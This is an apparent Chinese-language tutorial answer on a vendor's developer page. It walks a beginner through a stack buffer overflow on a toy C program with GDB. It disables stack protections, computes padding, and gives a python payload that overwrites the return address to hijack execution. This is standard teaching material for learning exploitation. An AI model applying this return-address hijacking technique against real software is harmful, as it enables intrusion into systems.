You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

非IT新手求助:Linux下GDB调试缓冲区溢出代码的方法

缓冲区溢出调试分步指南(Linux + GDB)

别慌!纯新手刚接触这类底层调试确实容易摸不着头脑,我会用最直白的步骤带你搞定这段代码的调试。

第一步:编译可调试的程序

默认Linux编译的程序会开启栈保护机制,直接调试看不到溢出效果,所以需要用特殊参数编译。打开终端进入代码所在目录,执行:

gcc -fno-stack-protector -z execstack -g overflow.c -o overflow

给你解释下每个参数的作用:

  • -fno-stack-protector:关闭栈金丝雀保护(防止系统自动检测缓冲区溢出)
  • -z execstack:允许栈区域执行代码(这次我们是跳转到已有函数,加上能避免不必要的报错)
  • -g:生成调试信息,让GDB能识别代码行、函数位置等

第二步:启动GDB并获取关键地址

  1. 启动GDB加载编译好的程序:
gdb ./overflow
  1. 找到overflowed函数的内存地址(我们后面要让程序跳转到这里),执行命令:
info functions overflowed

或者反汇编函数直接看地址:

disassemble overflowed

你会得到类似这样的输出(地址可能和示例不同):

Dump of assembler code for function overflowed:
   0x08048446 <+0>:     push   %ebp
   0x08048447 <+1>:     mov    %esp,%ebp
   ...

把这个起始地址(比如0x08048446)记下来,后面要用。

第三步:分析栈布局,计算溢出长度

我们需要搞清楚function1的栈结构,才能知道输入多少字节能覆盖返回地址:

  1. 在function1函数入口设置断点:
break function1
  1. 运行程序,输入一个短字符串(比如5个A):
run "AAAAA"

程序会停在function1开头,接下来查看栈帧信息:

info frame

然后查看栈内存内容,聚焦buffer所在区域:

x/20x $ebp-10  # 查看ebp下方10字节的内存,也就是buffer的位置

现在你需要明确两个关键位置:

  • buffer[5]的起始地址(栈上的存储位置)
  • 返回地址的位置(存在ebp+4处,函数调用时返回地址会被压在旧ebp的上方)

计算溢出所需的填充字节:buffer大小是5字节,加上旧ebp的4字节(32位系统下ebp是4字节),总共是5 + 4 = 9字节。也就是说,输入9个任意字符会刚好填满buffer和旧ebp,第10个字节开始就会覆盖返回地址。

第四步:触发溢出并验证效果

用构造好的输入覆盖返回地址,跳转到overflowed函数:
假设你拿到的overflowed地址是0x08048446,在GDB里执行:

run $(python -c 'print "A"*9 + "\x46\x84\x04\x08"')

这里的"\x46\x84\x04\x08"是地址0x08048446的小端序表示(32位Linux系统采用小端字节序,需要把地址字节倒过来写)。

如果一切顺利,你会看到程序输出:

Execution Hijacked

这就说明缓冲区溢出成功,程序执行流程被成功劫持到overflowed函数。

额外调试小技巧

  • 想一步步看溢出过程?可以在strcpy行设置断点:break 10,用next/step逐行执行,之后再查看栈内存的变化。
  • 用info registers查看ebp、esp等寄存器的值,能帮你更直观理解栈的布局变化。
  • 如果输入后程序崩溃,用bt(backtrace)查看调用栈,快速定位问题。

内容的提问来源于stack exchange,提问作者567hz

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.21 08:35:18